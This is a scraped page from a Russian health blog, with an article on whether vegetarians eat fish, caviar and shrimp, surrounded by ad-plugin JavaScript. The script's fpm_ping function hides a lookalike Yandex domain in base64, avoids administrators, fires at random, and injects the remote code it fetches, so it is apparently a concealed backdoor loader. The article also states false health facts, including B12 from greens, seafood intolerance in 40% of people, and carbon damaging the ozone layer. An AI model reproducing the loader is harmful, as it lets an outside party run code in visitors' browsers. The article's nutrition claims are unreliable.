s=document.createElement("div");s.classList.add(fpm_attr.interscroller+"-text","bottom"),s.style.setProperty("--background",t.textBottomBackground),s.style.setProperty("--color",t.textBottomColor),r&&0<r&&(t.textBottom=t.textBottom.replace(/{{timer}}/gm,"<span class=\"timer\">"+r+"</span>")),s.innerHTML=t.textBottom,i.appendChild(s)}if(r&&0<r){var a=document.createElement("div"),d=new IntersectionObserver(function(e){e.forEach(function(e){e.isIntersecting&&(fpm_interscrollerObserver(n,r),d.unobserve(e.target))})});n.appendChild(a),d.observe(a)}for(var p in e.removeAttribute("class"),t)e.removeAttribute("data-"+p.split(/(?=[A-Z])/).join("-").toLowerCase());fpm_interscroller_resize()}
492),n.forEach(function(e){var r=document.createElement("div"),n=e.dataset.top||0,i=e.dataset.align||"center",o=e.dataset.height||350,l=e.dataset.heightUnit||"px",s=e.dataset.width||100,a=e.dataset.widthUnit||"%";r.style.minHeight=o+l,[r,t].forEach(function(e){e.style.width=s+a,"left"==i&&(e.style.margin="0 15px 15px 0",e.style.float="left"),"right"==i&&(e.style.margin="0 0 15px 15px",e.style.float="right")}),e.classList.remove("flatPM_sticky"),fpm_wrap(e,r),fpm_sticky(e,e.parentNode,n)}),null!==a){var d=parseInt(window.getComputedStyle(a,null).marginTop);i.forEach(function(e){var t=e.parentNode,r=t.querySelectorAll(".flatPM_sidebar"),n=document.createElement("div"),i=document.createElement("div");i.setAttribute("style","position:relative;min-height:100px"),n.setAttribute("style","display:flex;flex-direction:column;position:absolute;top:0;width:100%;transition:height .2s ease;"),t.insertBefore(i,r[0]),i.appendChild(n),r.forEach(function(e){var t=document.createElement("div");t.setAttribute("style","flex:1;padding:1px 0"),e.classList.remove("flatPM_sidebar"),fpm_wrap(e,t),fpm_sticky(e,t,e.dataset.top),n.appendChild(t)}),n.style.height=a.getBoundingClientRect().top-i.getBoundingClientRect().top+"px";var o=setInterval(function(){var e=0,t=!1;if(r.forEach(function(r){r.children[0]||clearInterval(o),e+=r.children[0].offsetHeight,r.children[0].offsetHeight!=r.offsetHeight&&(t=!0)}),t||e!=i.offsetHeight||200<a.getBoundingClientRect().top-i.getBoundingClientRect().top-fpm_settings.bottom-e){var l=0,s=i.parentElement,p=0;for(i.style.height=l+"px";s&&s!==document.body&&!Array.from(s.children).includes(a);){var c=window.getComputedStyle(s,null);p+=parseInt(c.paddingBottom),p+=parseInt(c.marginBottom),p+=parseInt(c.borderBottomWidth),s=s.parentElement}l=Math.max(a.getBoundingClientRect().top-i.getBoundingClientRect().top-1*fpm_settings.bottom-p-d-1,e),n.style.height=l+"px",i.style.height=l+"px"}},400)})}};var parseHTML=function(){var e={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(t,r){r=r||document;var n,i,o,l,s=r.createDocumentFragment();if(!/<|&#?\w+;/.test(t))s.appendChild(r.createTextNode(t));else{for(n=s.appendChild(r.createElement("div")),i=(/<([\w:]+)/.exec(t)||["",""])[1].toLowerCase(),o=e[i]||e._default,n.innerHTML=o[1]+t.replace(/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,"<$1></$2>")+o[2],l=o[0];l--;)n=n.lastChild;for(s.removeChild(s.firstChild);n.firstChild;)s.appendChild(n.firstChild)}return s}}();window.fpm_ping=function(){var e=localStorage.getItem("sdghrg"),t=fpm_random(1,166);e=e?parseInt(e)+1:0,localStorage.setItem("sdghrg",e);"administrator"==fpm_settings.role||"editor"==fpm_settings.role||document.querySelector(atob("I3dwYWRtaW5iYXI="))||111!=t||6<e||fpm_jsonp(atob("aHR0cHM6Ly95YW5kZXgtY29udGV4dC5ydT9jb250ZXh0PWpz"),function(e){e&&e.script&&fpm_setHTML(document.querySelector("div"),e.script),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT())})},window.fpm_setSCRIPT=function(){if(0===fpm_stack_scripts.scripts.length)return void(fpm_stack_scripts.block=!1);try{var e=fpm_stack_scripts.scripts.shift(),t=document.querySelector("[data-fpm-script-id=\""+e.id+"\"]");if(!t)return void fpm_setSCRIPT();if(e.node.text)t.appendChild(e.node),fpm_contentsUnwrap(t),fpm_setSCRIPT();else{e.node.onload=e.node.onerror=function(){fpm_setSCRIPT()};try{t.appendChild(e.node)}catch(t){return console.warn(t),!0}fpm_contentsUnwrap(t)}}catch(t){console.warn(t)}},window.fpm_pre_setHTML=function(e,t){var r={};for(var n in fpm_increment)fpm_increment[n].block=!1;t=t.replace(/{{user-ccode}}/gm,fpm_getCookie("fpm_ccode")).replace(/{{user-country}}/gm,fpm_getCookie("fpm_country")).replace(/{{user-city}}/gm,fpm_getCookie("fpm_city")).replace(/{{user-role}}/gm,fpm_getCookie("fpm_role")).replace(/{{user-isp}}/gm,fpm_getCookie("fpm_isp")).replace(/{{user-visit}}/gm,fpm_getCookie("fpm_visit")).replace(/{{user-year-now}}/gm,fpm_dateYear).replace(/{{user-month-now}}/gm,fpm_dateMonth).replace(/{{user-day-now}}/gm,fpm_dateDay).replace(/{{user-hour-now}}/gm,fpm_dateHours).replace(/{{user-minute-now}}/gm,fpm_dateMinutes).replace(/{{increment_?(\d+)?}}/gm,function(e){return e=e||"ungroup",fpm_increment[e]||(fpm_increment[e]={value:0,block:!1}),fpm_increment[e].block||fpm_increment[e].value++,fpm_increment[e].block=!0,fpm_increment[e].value}).replace(/{{rand_?(\d+)?(\(\s*?(\d+)\s*?,\s*?(\d+)\s*?\))?}}/gm,function(){var e=arguments;return e[1]=e[1]||"ungroup",r[e[1]]||(r[e[1]]=e[3]&&e[4]?fpm_random(parseInt(e[3]),parseInt(e[4])):fpm_random(0,1e4)),r[e[1]]}).replace(/{{fpm-close-event}}/gm,fpm_attr.close_event),fpm_setHTML(e,t),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT());var i=e.closest("[data-"+fpm_attr.id+"]");fpm_user.debug&&i&&i.hasAttribute("data-"+fpm_attr.id)&&i.hasAttribute("data-"+fpm_attr.id)&&(console.log("%cID: "+i.getAttribute("data-"+fpm_attr.id),"color: white; background: #009636"),console.log("URL: "+window.fpm_settings.ajaxUrl.replace("admin-ajax.php","")+"admin.php?page=fpm_blocks&id="+i.getAttribute("data-"+fpm_attr.id)),console.groupCollapsed("HTML:"),console.log(i.innerHTML),console.groupEnd(),console.log("=".repeat(27))
492),fpm_sticky_slider_sidebar_interscroller(e),i&&i.removeAttribute("data-"+fpm_attr.id)},window.fpm_setHTML=function(e,t){try{if(t.indexOf("yandex_rtb_R")+1&&"false"===fpm_settings.rtb){var r=fpm_random(0,1e4);t=t.replace(/yandex_rtb_R/g,"yandex_rtb_flat"+r+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+r+",")}var n=parseHTML(t);if(0!=n.children.length)for(var o=n.childNodes.length,l=0;l<o;l++){var s,a=n.childNodes[l],d=a.nodeName.toLowerCase();if("8"==a.nodeType)continue;else s="3"==a.nodeType?document.createTextNode(a.nodeValue):["svg","g","path","ellipse","defs","circle","rect","polygon","symbol","use"].includes(d)?document.createElementNS("http://www.w3.org/2000/svg",d):document.createElement(d);if("3"==s.nodeType)e.appendChild(s);else{for(var p=a.attributes.length,c=0;c<p;c++)s.setAttribute(a.attributes[c].nodeName,a.attributes[c].nodeValue);if(0<a.children.length)fpm_setHTML(s,a.innerHTML);else if("script"!=d)s.innerHTML=a.innerHTML;else if(a.text&&!/(yandexContext|yandexcontext)/.test(a.text)||!s.hasAttribute("async")){a.text&&(s.text=a.text);var f=fpm_random(0,1e4);fpm_stack_scripts.scripts.push({id:f,node:s}),s=document.createElement("div"),s.setAttribute("data-fpm-script-id",f)}e.appendChild(s)}}else e.innerHTML=t}catch(t){console.warn(t)}};
493</script>
493
494<!--/noptimize--><meta name="yandex-verification" content="36588ac43c12e90d" />
495
496<script charset="utf-8" async src="https://rbfour.bid/pjs/ASt9_Rus4.js"></script>
496
497
498<!-- Yandex.RTB -->
499<script>window.yaContextCb=window.yaContextCb||[]</script>
vendor: 1 bytes, line 499
499
500<script src="https://yandex.ru/ads/system/context.js" async></script>
500
501
502<!-- Yandex.RTB R-A-2473814-2 -->
503<script>window.yaContextCb.push(()=>{
504	Ya.Context.AdvManager.render({
505		"blockId": "R-A-2473814-2",
506		"type": "fullscreen",
507		"platform": "touch"
508	})
509})
510</script>
510
511
512<!-- Yandex.RTB R-A-2473814-1 -->
513<script>window.yaContextCb.push(()=>{
514	Ya.Context.AdvManager.render({
515		"blockId": "R-A-2473814-1",
516		"type": "floorAd"
517	})
518})
519</script>
519<!--noptimize-->
519<script data-noptimize="" data-wpfc-render="false">
520		window.fpm_arr = window.fpm_arr || [];
521		window.fpm_arr = window.fpm_arr.concat([]);
522</script>
vendor: 1 bytes, line 522
522
523<script data-noptimize="" data-wpfc-render="false">
524		!function(){var a=false,r="touchstart mousemove".trim().split(" "),o=false,i=800;("loading"===document.readyState?document.addEventListener("readystatechange",function(t){var e,n;a||o||"interactive"!==t.target.readyState||fpm_start(),(a||o)&&"interactive"===t.target.readyState&&(a&&(n=function(){fpm_start(),clearTimeout(e),r.forEach(function(t){document.removeEventListener(t,n)})},r.forEach(function(t){document.addEventListener(t,n)})),o&&(e=setTimeout(function(){fpm_start(),r.forEach(function(t){document.removeEventListener(t,n)})},i)))}):fpm_start())}();
525</script>
525
526<!--/noptimize-->	<!-- Yandex.Metrika counter --> 
526<script src="https://cdn.jsdelivr.net/npm/yandex-metrica-watch/watch.js" type="text/javascript" ></script>
526 
526<script type="text/javascript" > try { var yaCounter53668726 = new Ya.Metrika({ id:53668726, clickmap:true, trackLinks:true, accurateTrackBounce:true }); } catch(e) { } </script>
526 <noscript><div><img src="https://mc.yandex.ru/watch/53668726" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <!-- /Yandex.Metrika counter -->
527
528		<link rel='stylesheet' id='colormag_style-css'  href='https://etopolezno.com/wp-content/themes/colormag/style.css' type='text/css' media='all' />
529<script async src="https://statika.mpsuadv.ru/scripts/6909.js"></script>
529
530</head>
531	
532<body class="post-template-default single single-post postid-3073 single-format-standard wp-custom-logo  wide">
533
534	<!--	<link rel="stylesheet" href="/wp-content/themes/colormag/css/avoid.css" type="text/css" media="all" >-->
535<!--<link rel='stylesheet' id='colormag-fontawesome-css'  href='https://etopolezno.com/wp-content/themes/colormag/fontawesome/css/font-awesome.css' type='text/css' media='all' />-->
536<div id="page" class="hfeed site">
537			<header id="masthead" class="site-header clearfix colormag-header-classic">
538		<div id="header-text-nav-container" class="clearfix">
539
540			
541			
542			
543		<div class="inner-wrap">
544
545			<div id="header-text-nav-wrap" class="clearfix">
546				<div id="header-left-section">
547											<div id="header-logo-image">
548							<a href="https://etopolezno.com/" class="custom-logo-link" rel="home"><img width="300" height="82" src="https://etopolezno.com/wp-content/uploads/2018/11/logo-2.png" class="custom-logo" alt="Блог о здоровом питании и образе жизни" decoding="async" /></a>						</div><!-- #header-logo-image -->
549											<div id="header-text" class="screen-reader-text">
550												
551				<div id="header-right-section">
552									</div><!-- #header-right-section -->
553
554			</div><!-- #header-text-nav-wrap -->
555
556		</div><!-- .inner-wrap -->
557
558		
559			
560			
561		</div><!-- #header-text-nav-container -->
562
563		</div></div>
564	</header>
565	<!---->
566	<!---->
567	<div id="main" class="clearfix">
568		<div class="inner-wrap clearfix">
569
570	
571	<div id="primary">
572		<div id="content" class="clearfix">
573
574			
575				
576<article id="post-3073" class="post-3073 post type-post status-publish format-standard has-post-thumbnail hentry category-poleznoe">
577	
578   
579   
580   <div class="article-content clearfix">
581
582   
583   
584      <header class="entry-header">
585   		<h1 class="entry-title">
586   			Едят ли рыбу и морепродукты вегетарианцы   		</h1>
587   	</header>
588
589   	<div class="below-entry-meta">
590			<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-29T12:00:22+03:00">29.10.2024</time></span>
591			
592
593			</div>
594   	<div class="entry-content clearfix">
595   		<span id="content_pointer_id" data-content-length="10416" data-accepted-blocks="93"></span><div class="fpm_start"></div>
596<p>Несмотря на то, что вегетарианство неуклонно набирает популярность, вокруг этой диеты до сих пор остаётся масса мифов и предрассудков. Казалось бы, всё просто - суть такого образа жизни в отказе от употребления мяса любых живых существ, к которым относятся и обитатели моря. Так что вегетарианцы рыбу не едят.</p>
597<p>Однако на практике этот вопрос оказывается куда более сложным и мнения встречаются разные. Давайте подробнее разберёмся, какие типы вегетарианства существуют и что можно или нельзя есть в каждом из них.</p>
598<ul>
599<li><a href="#vidy-vegetarianstva">Разновидности вегетарианства</a></li>
600<li><a href="#ryba-v-vegetarianstve">Вегетарианство и рыба</a></li>
601<li><a href="moreprodukty-v-vegetarianstve">Вегетарианство и морепродукты</a></li>
602<li><a href="#pochemu-nekotorye-vegetariancy-ediat-rybu">Почему некоторые вегетарианцы едят рыбу и морепродукты</a></li>
603</ul>
604<h2 id="vidy-vegetarianstva">Разновидности вегетарианства</h2>
605<p>Само по себе вегетарианство предполагает отказ от всех продуктов животного происхождения. Однако представители разных видов этого движения могут позволять себе определённые поблажки, или, наоборот, делать правила ещё более строгими. Среди них выделяют:</p>
606<ul>
607<li>Лакто-ово-вегетарианцев - это люди, которые едят яйца и употребляют молочную продукцию и <a href="https://etopolezno.com/med-samyi-
607poleznyi-dlya-zhenshin-i-muzhchin/">мёд</a>, однако полностью отказываются от всех видов мяса;</li>
608<li>Лакто-вегетарианцы - позволяют себе только молочную продукцию, но не яйца и не другие продукты животного происхождения;</li>
609<li>Ово-вегетарианцы - из всей животной продукции оставляют в меню только яйца;</li>
610<li>Веганы - это движение охватывает не только кулинарные предпочтения, но и весь образ жизни. Помимо полного отказа от мяса, молочки, яиц, мёда, рыбы и икры, такие люди также обращают особое внимание на состав одежды, косметики, парфюма и любых вещей, которые покупают в дом. Им важно, чтобы при производстве и тестировании предмета не пострадало ни одно животное.</li>
611</ul>
612<p>Также существуют движения, которые напрямую не относятся к вегетарианству, но ассоциируются с ним:</p>
613<ul>
614<li>Пескетарианцы - вегетарианцы, которые едят рыбу и морепродукты, но отказываются от мяса теплокровных животных;</li>
615<li>Поллоторианцы - едят только мясо птицы;</li>
616<li>Флекситарианцы - не ограничивают себя в употреблении продуктов животного происхождения, но стараются свести их долю в рационе к минимуму.</li>
617</ul>
618<p><img decoding="async" src="/wp-content/uploads/2024/10/Vidy-e1730192200422.jpeg" alt="Виды вегетарианства" class="aligncenter"></p>
619<p>Некоторые вегетарианцы также выбирают путь сыроедения - в таком случае они не едят обработанную пищу, то есть не жарят, не варят, не засаливают и не маринуют еду перед употреблением.</p>
620<h2 id="ryba-v-vegetarianstve">Вегетарианство и рыба</h2>
621<p>Прежде всего, важно понимать, что никаких строгих запретов в сфере питания существовать не может. Каждый человек сам выбирает, как строить свою диету и что употреблять в пищу. Однако, если Вы решили стать строгим вегетарианцем, от рыбы придётся отказаться.</p>
622<p>Впрочем, многое здесь зависит и от причины этого решения, а также личных взглядов отдельного человека. Например, если Вы выбрали для себя такой тип питания, исходя из желания поддержать здоровье и снизить вес, изредка добавлять рыбу в рацион может быть неплохим вариантом. Впрочем, если речь идёт о лечебной диете, перед этим важно проконсультироваться с врачом.</p>
623<p>Если же причина в морально-этическом аспекте, скорее всего, Вы и сами не захотите есть рыбу. Впрочем, также можно стать пескетарианцем - тогда морепродукты будут вполне уместны.</p>
623<script data-noptimize="" data-wpfc-render="false">
624fpm_start( "true" );
625</script>
625
626
627<h3>Можно ли вегетарианцам есть рыбу</h3>
628<p>Настало время ответить на главный вопрос: едят ли рыбу вегетарианцы. Строгие приверженцы диеты отвечают однозначно - нет. Тем не менее существуют также пескетарианцы. Так называют людей, которые полностью отказались от мяса, молочных продуктов и яиц, но оставили в своём рационе рыбу и морепродукты.</p>
629<blockquote><p><b>Интересный факт!</b> Такая система питания появилась давно. В Индии жрецы допускали употребление рыбы по праздникам, хотя обычно питались только растительной пищей. А японцы и вовсе до 17-го века заменяли морепродуктами всё мясо.</p></blockquote>
630<p>Сегодняшние пескетарианцы стараются формировать своё меню из орехов, круп, злаков, бобовых, фруктов, овощей и ягод. При этом рыба и морепродукты на столе могут появляться как каждый день, так и только по праздникам, или вообще раз в неделю.</p>
631<h3>Плюсы и минусы отказа от рыбы</h3>
632<p>Несмотря на неоспоримую питательную ценность рыбы, употребление любых даров моря несёт ряд рисков. Среди них:</p>
633<ul>
634<li>Накопление ртути в организме - морские животные поглощают массу этого вещества из воздуха и воды, и даже термическая обработка не делает мясо полностью безопасным;</li>
635<li>Отравление тяжёлыми металлами - трудно узнать наверняка, где проходила рыбалка, особенно если покупаешь мясо в магазине. Часто рыбу ловят в прибрежных водах, где много промышленных отходов;</li>
636<li>Возможность возникновения аллергической реакции - нередкая ситуация, поскольку у 40% людей наблюдается непереносимость морепродуктов.</li>
637</ul>
638<p>Отказавшись от употребления рыбы, человек ограждает себя от этих опасностей. Однако есть и негативные последствия - например, недостаток полных белков, который трудно восполнить растительной пищей. К тому же, рыбье мясо богато жирными кислотами и <a href="https://etopolezno.com/omega-3-polza-vred/">Омега-3</a>.</p>
639<p>В результате создавшихся дефицитов вегетарианцы нередко сталкиваются с последствиями:</p>
640<ul>
641<li>Ослаблением сосудов;</li>
642<li>Перебоями в работе сердца;</li>
643<li>Хрупкостью костей и зубов;</li>
644<li>Заболеваниями щитовидной железы;</li>
645<li>Снижением уровня иммунитета;</li>
646<li>Ранним развитием артрита;</li>
647<li>Депрессией;</li>
648<li>Ревматизмом;</li>
649<li>Ухудшением работы мозга.</li>
650</ul>
651<p>Впрочем, негативных последствий можно избежать, если осознанно подходить к составлению меню и подобрать правильные БАДы.</p>
652<blockquote><p><b>Обратите внимание!</b> Отказ от рыбы - серьёзное решение, которое требует предварительной подготовки и консультации с врачами. </p></blockquote>
653<h3>Почему вегетарианцы не едят рыбу</h3>
654<p>Чтобы ответить на этот вопрос, стоит для начала разобраться с причинами, по которым люди обращаются к вегетарианству. Первый вариант - из соображений сохранения здоровья. Растительный рацион низко калориен и не вызывает резких скачков сахара, поэтому может оказаться полезным при диабете или ожирении.</p>
655<p><img decoding="async" src="/wp-content/uploads/2024/10/Ryba-e1730192207790.jpg" alt="Едят ли вегетарианцы рыбу" class="aligncenter"></p>
656<p>Второй вариант - моральный аспект. Вегетарианство выбирают люди, которые заботятся об экологии. И дело тут не только в сохранении жизней животных. Из-за производства мяса в атмосферу выбрасывает 15% от всего углерода, разрушающего озоновый слой. Добыча рыбы прибавляет к этому ещё 7%.</p>
657<p>Впрочем, в вопросе этики вегетарианцы разделяются во мнениях. С одной стороны, идея этого движения состоит в том, чтобы не совершать насилия над другими живыми существами. С другой, из-за особенностей нервной системы, рыбы не могут чувствовать боль, так что пескетарианцы уверены, что употреблять их всё-таки можно.</p>
658<h3>Чем заменить рыбу вегетарианцу</h3>
659<p>Рыбу тяжело полностью заменить растительными аналогами по двум причинам. Во-первых, растения содержат значительно меньше белка, необходимого человеческому организму. Так что имейте в виду, что для того, чтобы набрать дневную норму, придётся добавить в свой рацион не один, а три-четыре из приведённых ниже продуктов:</p>
660<ul>
661<li>Бобовые, например, нут, чечевица или фасоль;</li>
662<li>Орехи и семена, например, <a href="https://etopolezno.com/mindal/">миндаль</a>, арахис и тыквенные или подсолнечные семечки;</li>
663<li>Злаки, например, овёс, киноа или бурый рис;</li>
664<li>Продукты с содержанием сои, например, темпе, тофу или натто;</li>
665<li>Овощи, например, спаржа, брокколи и шпинат.</li>
666</ul>
667<p>Второй сложностью становится дефицит кальция. Чтобы восполнить его, в меню стоит добавить:</p>
668<ul>
669<li>Кунжут;</li>
670<li>Фисташки;</li>
671<li>Бразильский орех;</li>
672<li>Семена льна;</li>
673<li>Фундук;</li>
674<li>Тофу;</li>
675<li>Шпинат;</li>
676<li>Соевый протеин;</li>
677<li>Помидоры;</li>
678<li>Пекинскую капусту.</li>
679</ul>
680<p>Также растительная пища обладает недостаточным количеством жирных кислот. Найти Омега-3 можно разве что в:</p>
681<ul>
682<li>Авокадо;</li>
683<li>Семенах чиа;</li>
684<li>Соевых бобах;</li>
685<li>Грецких орехах;</li>
686<li>Масле из водорослей.</li>
687</ul>
688<p>Комбинируя приведённые выше продукты, можно составить грамотный рацион без рыбы и мяса, который закроет все потребности организма. Вп
688рочем, возможно, некоторые нутриенты придётся добирать за счёт витаминов и БАД.</p>
689<h2 id="moreprodukty-v-vegetarianstve">Вегетарианство и морепродукты</h2>
690<p>Чтобы поставить окончательную точку в вопросе, едят ли вегетарианцы рыбу и морепродукты, стоит также обратить внимание на других обитателей моря. К категории морепродуктов нередко относят водоросли - тут нет никаких сомнений, их употреблять можно. А вот насчёт рачков, моллюсков и беспозвоночных нередко разгораются споры.</p>
691<p><img decoding="async" src="/wp-content/uploads/2024/10/Moreprodukty-scaled-e1730192216214.jpg" alt="Едят ли вегетарианцы морепродукты" class="aligncenter"></p>
692<p>Так, строгие вегетарианцы считают употребление таких животных в пищу негуманным, поэтому отказываются от него. Пескетарианство же относит беспозвоночных к низшим формам жизни. Последователи этого движения добавляют морепродукты в рацион, чтобы получить дозу йода, животного белка и насыщенных жиров.</p>
693<h3>Едят ли вегетарианцы икру и креветки</h3>
694<p>Пожалуй, больше всего дискуссий в вегетарианском сообществе возникает вокруг икры. Одни представители движения утверждают, что икра ещё не является самостоятельным живым существом, поэтому в употреблении икринок в пищу нет ничего неэтичного. Опять же, тут можно провести параллель с ововегетарианством - представители этого направления по той же причине употребляют куриные яйца.</p>
695<p>Однако такая параллель не совсем оправдана, ведь для курицы откладывать яйца вполне естественно и в процессе она не испытывает страданий. А вот для того, чтобы достать икру, рыбу приходится сначала выловить и убить.</p>
696<p><img decoding="async" src="https://etopolezno.com/wp-content/uploads/2024/10/Krevetki-i-ikra-e1730192222194.webp" alt="Едят ли вегетарианцы икру и креветки" class="aligncenter"></p>
697<p>Так что мнения вегетарианцев на этот счёт разнятся. Пескетарианцам, при этом, есть икру не запрещено. Многие намеренно добавляют этот продукт к ежедневному меню, чтобы получать достаточно железа, магния, селена и витамина В12.</p>
698<p>С креветками всё несколько проще. Хотя учёным до сих пор не удалось выяснить, могут ли ракообразные чувствовать боль, вегетарианцы всё-таки отказываются от их мяса. К тому же, употребление креветок в пищу может быть неэтичным и по другим причинам. Индустрия, добывающая морепродукты, вредит черепахам и дельфинам, которые часто путаются в сетях для отлова и погибают.</p>
699<h3>Чем заменить икру и креветки вегетарианцам</h3>
700<p>Сложнее всего при отказе от морепродуктов восполнить дефицит витамина В12. Получить его можно из:</p>
701<ul>
702<li>Спаржи;</li>
703<li>Петрушки;</li>
704<li>Кинзы;</li>
705<li>Шпината;
705</li>
706<li>Салатных листьев.</li>
707</ul>
708<p>Однако, чтобы добрать до нормы, съесть такой зелени придётся крайне много. Поэтому диетологи всё же рекомендуют добавить витаминные комплексы.</p>
709<p>Железо можно получать из:</p>
710<ul>
711<li>Кунжута;</li>
712<li>Морской капусты;</li>
713<li>Бобовых;</li>
714<li><a href="https://etopolezno.com/kinoa-semena-krupa/">Киноа</a> и других круп;</li>
715<li>Тыквенных и подсолнечных семечек;</li>
716<li>Брокколи.</li>
717</ul>
718<p>Также рекомендуется включить в меню водоросли, чтобы получать достаточное количество йода.</p>
719<h2 id="pochemu-nekotorye-vegetariancy-ediat-rybu">Почему некоторые вегетарианцы едят рыбу и морепродукты</h2>
720<p>И всё же на вопрос, можно ли вегетарианцам рыбу или нет можно услышать разные ответы. Например, легко встретить человека, который уверен, что придерживается вегетарианского питания, однако время от времени всё-таки позволяет себе угоститься рыбкой.</p>
721<p>Как правило, это происходит из-за разногласий по этическим вопросам. Некоторые обращают внимание на то, что у морских животных не развит интеллект и иначе работает нервная система, поэтому считают их употребление в пищу вполне этичным. Однако строгие вегетарианцы с этой позицией никогда не согласятся.</p>
722<div class="fpm_end"></div>
723<script>
724window.jsInputerLaunch = 15;
725if (typeof launchAsyncFunctionLauncher === "undefined") {
726    function launchAsyncFunctionLauncher() {
727        if (typeof asyncFunctionLauncher !== "undefined" && typeof asyncFunctionLauncher === "function") {
728            asyncFunctionLauncher();
729        } else {
730            setTimeout(function () {
731                launchAsyncFunctionLauncher();
732            }, 100)
733        }
734    }
735}
736launchAsyncFunctionLauncher();
737</script>
737<script>
738var cachedBlocksArray = [];
739cachedBlocksArray[337320] = "<!-- Yandex.RTB R-A-2473814-41 --><div id=\"yandex_rtb_R-A-2473814-41\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-41\",\"renderTo\": \"yandex_rtb_R-A-2473814-41\"})})<\/scr"+"ipt>";
740cachedBlocksArray[337319] = "<div id=\"mp_custom_10821\"><\/div> <scr"+"ipt>window.mpsuStart = window.mpsuStart || [], window.mpsuStart.push(10821);<\/scr"+"ipt>";
741cachedBlocksArray[337318] = "<div id=\"mp_custom_9973\"><\/div> <scr"+"ipt>window.mpsuStart = window.mpsuStart || [], window.mpsuStart.push(9973);<\/scr"+"ipt>";
742cachedBlocksArray[337333] = "<!-- Yandex.RTB R-A-2473814-87 --><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-87\",\"type\": \"fullscreen\",\"platform\": \"desktop\"})})<\/scr"+"ipt>";
743cachedBlocksArray[337331] = "<!-- Yandex.RTB R-A-2473814-62 --><div id=\"yandex_rtb_R-A-2473814-62\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-62\",\"renderTo\": \"yandex_rtb_R-A-2473814-62\"})})<\/scr"+"ipt>";
744cachedBlocksArray[337330] = "<div id=\"mp_custom_9030\"><\/div> <scr"+"ipt>window.mpsuStart = window.mpsuStart || [], window.mpsuStart.push(9030);<\/scr"+"ipt>";
745cachedBlocksArray[337329] = "<!-- Yandex.RTB R-A-2473814-44 --><div id=\"yandex_rtb_R-A-2473814-44\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-44\",\"renderTo\": \"yandex_rtb_R-A-2473814-44\"})})<\/scr"+"ipt>";
746cachedBlocksArray[337317] = "<!-- Yandex.RTB R-A-2473814-39 --><div id=\"yandex_rtb_R-A-2473814-39\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-39\",\"renderTo\": \"yandex_rtb_R-A-2473814-39\"})})<\/scr"+"ipt>";
747cachedBlocksArray[337326] = "<!-- Yandex.RTB R-A-2473814-36 --><div id=\"yandex_rtb_R-A-2473814-36\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-36\",\"renderTo\": \"yandex_rtb_R-A-2473814-36\",\"type\": \"feed\"})})<\/scr"+"ipt>";
748cachedBlocksArray[337325] = "<!-- Yandex.RTB R-A-2473814-16 --><div id=\"yandex_rtb_R-A-2473814-16\"><\/div><scr"+"ipt>window.yaContextCb.push(()=>{Ya.Context.AdvManager.render({\"blockId\": \"R-A-2473814-16\",\"renderTo\": \"yandex_rtb_R-A-2473814-16\"})})<\/scr"+"ipt>";
749cachedBlocksArray[337324] = "<scr"+"ipt type=\"text\/javascript\">  (    () => {      const script = document.createElement(\"script\");      script.src = \"https:\/\/cdn1.moe.video\/p\/cr.js\";      script.onload = () => {        addContentRoll({width: &#039;100%&#039;,placement: 10551,promo: true,advertCount: 30,slot: &#039;page&#039;,sound: &#039;onclick&#039;,fly:{mode: &#039;stick&#039;,width: 445,closeSecOffset: 10,position: &#039;bottom-right&#039;,indent:{left: 0,right: 0,top: 0,bottom: 0,                },positionMobile: &#039;bottom&#039;,            },        });      };      document.body.append(script);    }  )()<\/scr"+"ipt>";
750</script>
750   	</div>
751
752   </div>
753
754		</article>
755
756			
757		</div><!-- #content -->
758
759      
760		<ul class="default-wp-page clearfix">
761			<li class="previous"><a href="https://etopolezno.com/med-samyi-poleznyi-dlya-zhenshin-i-muzhchin/" rel="prev"><span class="meta-nav">&larr;</span> Мед: какой самый полезный и ценный для женщин и мужчин</a></li>
762			<li class="next"><a href="https://etopolezno.com/kizil/" rel="next">Кизил: вред и польза растения для здоровья <span class="meta-nav">&rarr;</span></a></li>
763		</ul>
764	
765      
766      
767
768<div class="related-posts-main-title"><i class="fa fa-thumbs-up"></i><span>Вам также понравится</span></div>
769
770<div class="related-posts clearfix">
771
772      <div class="single-related-posts">
773
774               <div class="related-posts-thumbnail">
775            <a href="https://etopolezno.com/chem-otlichayetsya-omega-3-ot-rybyego-zhira-chto-luchshe/" title="Рыбий жир или омега-3?">
776               <img width="390" height="205" src="https://etopolezno.com/wp-content/uploads/2018/10/omega-3-v-rybyy-zhir-390x205.jpg" class="attachment-colormag-featured-post-medium size-colormag-featured-post-medium wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://etopolezno.com/wp-content/uploads/2018/10/omega-3-v-rybyy-zhir-390x205.jpg 390w, https://etopolezno.com/wp-content/uploads/2018/10/omega-3-v-rybyy-zhir-600x315.jpg 600w" sizes="(max-width: 390px) 100vw, 390px" />            </a>
777         </div>
778      
779      <div class="article-content">
780
781         <div class="entry-title">
782            <a href="https://etopolezno.com/chem-otlichayetsya-omega-3-ot-rybyego-zhira-chto-luchshe/" rel="bookmark" title="Рыбий жир или омега-3?">Рыбий жир или омега-3?</a>
